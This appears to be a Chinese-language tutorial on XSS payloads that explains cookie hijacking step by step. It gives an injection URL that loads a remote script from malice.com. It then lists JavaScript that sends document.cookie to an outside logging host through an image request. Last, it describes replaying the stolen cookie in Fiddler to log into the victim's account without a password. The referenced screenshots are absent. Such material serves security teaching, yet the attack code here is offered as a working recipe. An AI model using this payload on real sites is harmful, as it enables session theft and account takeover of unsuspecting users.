
完成具體功能的惡意腳本(javaScript、Flash 等)稱為 XSS Payload。黑客會通過這些腳本,來控制用戶的瀏覽器。劫持 Cookie 就是一種 XSS Payload。
Cookie 中,一般加密存放著當前用戶的登陸憑證。如果 Cookie 被劫持,那么黑客就可以不使用密碼,直接登陸到用戶的賬號中。
1 竊取 Cookie
首先先在存在 XSS 漏洞的網(wǎng)站,加載一段遠程腳本,形如:
http://www.xxx.com/xxx.html?param="><script src=http://www.malice.com/malice.js></script>
XSS Payload 寫在 malice.js 中,這樣就可以避免直接在 URL 參數(shù)中寫入大量的腳本代碼。
malice.js 內(nèi)容:
var img = document.createElement("img");
img.src = "http://xxx.com/log?" + escape(document.cookie);
document.body.appendChild(img);
escape() 函數(shù)可對字符串進行編碼,這樣就可以在所有的計算機上讀取該字符串。
在此,我們動態(tài)創(chuàng)建了一個圖片標簽,并把 cookie 參數(shù)作為對象,發(fā)送給后端服務器。

這樣就完成了竊取 Cookie 的整個過程。
2 利用 Cookie 登陸賬戶
一個網(wǎng)站,如果還未登錄,一般在右上角有個 “登錄” 鏈接:

假設已經(jīng)得到了某個賬戶的 Cookie 信息,那么就可以在 Fiddler 中,模擬 Get 請求:

然后就可以成功登陸網(wǎng)站咯:

